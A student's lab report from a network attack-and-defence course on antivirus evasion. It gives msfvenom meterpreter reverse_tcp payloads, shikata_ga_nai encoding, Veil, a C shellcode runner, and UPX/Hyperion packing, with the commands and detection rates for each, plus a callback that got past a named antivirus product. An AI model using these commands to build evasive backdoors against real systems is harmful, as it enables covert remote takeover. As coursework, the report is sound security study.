20222325 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实验要求
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件。
正确使用C + shellcode编程。
正确使用upx压缩壳和hyperion加密壳。
能够正确使用veil。
通过组合应用各种技术实现恶意代码免杀。
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2回答问题
(1)杀软是如何检测出恶意代码的?
1.签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。
2.行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件。
3.启发式分析:利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是尝试识别新的威胁。
4.沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件。
5.云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性。
(2)免杀是做什么?
免杀技术主要是通过修改病毒、木马的内容,从而改变其特征码,使其能够躲避杀毒软件的查杀。免杀技术主要应用于黑客攻击、恶意软件传播等场景。
(3)免杀的基本方法有哪些?
改变特征码:因为杀软是利用检测特征码来检测恶意代码的,那免杀就一定可以通过改变特征码来实现。如果可以在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行重新编码,那么就可能实现代码的免杀。
加压缩壳/加密壳:基于payload重新编译生成可执行文件,用其他语言重写再编译等方法,改变恶意软件的特征码。
分段执行:将恶意代码分成多个部分,在不同时间点执行。这可以避免一次性检测到完整的恶意特征,提高免杀效果。
代码混淆:通过改变代码的语法结构而不改变其功能,使代码难以被理解和分析。这可以通过等价替换汇编代码、交换代码顺序、代码块移位等方式实现。
2.实验过程
2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
输入ifconfig
查看虚拟机ip:为192.168.31.151
输入msfvenom --list formats
查看 msfvenom 支持的输出格式:
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 -f exe > 20222325.exe
生成meterpreter可执行文件,将该文件放入virustotal查看检测率为62/73.
输入msfvenom --list encoders
查看 msfvenom 支持的所有编码方式:
分别使用编码器对payload进行一次编码、25次编译、生成jar文件、生成php文件、生成py文件、生成apk文件,并分别查看免杀效果。
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.31.151 LPORT=2325 -f exe > 20222325test3a.exe
进行一次编译,生成文件。查看检测率为60/73
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 25 LHOST=192.168.31.151 LPORT=2325 -f exe > 20222325test3b.exe
进行25次编译,生成文件。查看检测率为60/73
输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 -f jar > 20222325.jar
生成jar文件.查看检测率为34/73
输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 x > 20222325.php
生成php文件.查看检测率为26/73
输入msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 -f py > 20222325.py
生成py文件.查看检测率为0
输入msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 x > 20222325.apk
生成apk文件.查看检测率为26/73
2.1.2veil,加壳工具
输入sudo apt -y install veil
,下载veil
输入veil
进行安装,过程中安装程序均选择允许或下一步。
完成后显示
输入use 1
进入Evasion模块:
输入list
查看可用的载荷种类:
输入use 7
选择c/meterpreter/rev_tcp.py
输入
set LHOST 192.168.31.151
set LPORT 2325
generate
设置反弹的ip(虚拟机ip),端口号,并开始生成。
查看对应位置已生成文件
检测率为45/73
2.1.3使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.151 LPORT=2325 -f c
用msfvenom工具来生成一个C语言的源代码格式的有效载荷
输入touch 20222325.c
创建一个c文件,输入vim 20222325.c
进入编辑。
将上面生成的buf数组复制粘贴到里面,并加入c语言代码。完成后按ESC输入:wq
退出。
输入i686-w64-mingw32-g++ 20222325.c -o 20222325tjx.exe
进行编译,得到exe文件.
测试该exe文件的检测率为45/73
输入upx 20222325.exe -o upx20222325.exe
进行upx加壳,检测率为47/72
输入
cp upx20222325.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
ls
wine hyperion.exe -v upx20222325.exe upx20222325tjx.exe
将upx20222325.exe文件复制到/usr/share/windows-resources/hyperion目录下,再进入目录查看是否复制成功,最后进行hyperion加壳,检测率为52/72
2.2通过组合应用各种技术实现恶意代码免杀
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.151 LPORT=2325 -f c > 20222325_shellcode.c
生成一个攻击载荷的示例.
输入vi 20222325_shellcode.c
进入生成的文件,进入插入模式在其中加入c代码:
int main()
{
int (*func)() = (int(*)())buf; func();
}
输入i686-w64-mingw32-g++ 20222325_shellcode.c -o 20222325_shellcode.exe
用MinGW-w64编译该文件。
输入upx 20222325_shellcode.exe -o 20222325_shellcode_upx.exe
进行upx加壳。检测率为38/72
输入cp 20222325_shellcode_upx.exe /usr/share/windows-resources/hyperion
将20222325_shellcode_upx.exe的文件复制到/usr/share/windows-resources/hyperion目录,再输入cd /usr/share/windows-resources/hyperion
进入该目录。
输入wine hyperion.exe -v 20222325_shellcode_upx.exe 20222325_shellcode_upx_hyp.exe
进行hyperion加壳。检测率为52/72
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑的杀软为腾讯电脑管家,版本为17.1.25794.211
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.31.151 LPORT=2325 -f raw >20222325.raw
生成后门文件20222325.raw
输入msfconsole
进入msf控制台
use exploit/multi/handler #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.31.151 #kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2325 #设置端口,需要和之前生成后门程序时设置的端口相同
exploit #开启监听,同时在主机中运行exe文件
安装[shellcode_launcher:]
运行raw文件,虚拟机连接成功。
3.问题及解决方案
-
问题1:进行hyperion加壳后找不到生成的文件
-
问题1解决方案:仔细查看安装过程发现文件存储路径为\usr\share\windows-resources\hyperion
-
问题2:在组合应用各种技术实现恶意代码免杀进行hyperion加壳时显示ShellExecuteEx failed: File not found.
-
问题2解决方案:查阅资料后了解到hyperion.exe需要在/usr/share/windows-resources/hyperion中使用。
-
问题3:开始监听后出现错误
-
问题3解决方案:输入
netstat -tulpen
查看端口信息,在输入fuser -k 2325/tcp
删除2325进程端口信息。
-
问题4:在主机运行20222325.raw文件时错误。
-
问题4解决方案:将raw文件移到下载的shellcode_launcher-master目录中。
-
问题5:
-
问题5解决方案:监听模块中未能使用和生成后门程序时相同的payload,多了一项/x64,删去后成功连接。
4.学习感悟、思考等
本次实验主要为了实现恶意代码的免杀,但经过实验并没有很好的实现免杀。在实验过程中Veil的下载花费了很长的时间,通过查阅资料找到了不同的下载方法,一次尝试下载卡住时更换另一种方法,最终找到了较快捷的下载方式。虽然实验并没有很好的实现免杀,但通过实验,我对免杀有了更加深入的认识,也基本掌握了实验所要求掌握的技术,能够正确使用veil,能正确使用C + shellcode编程,能够正确使用msf编码器都让我收获颇深,尤其是加壳工具的使用让我感受很多。对于实验中运用的简单加壳的检测也让我对现代计算机的安全性有了直观的认识。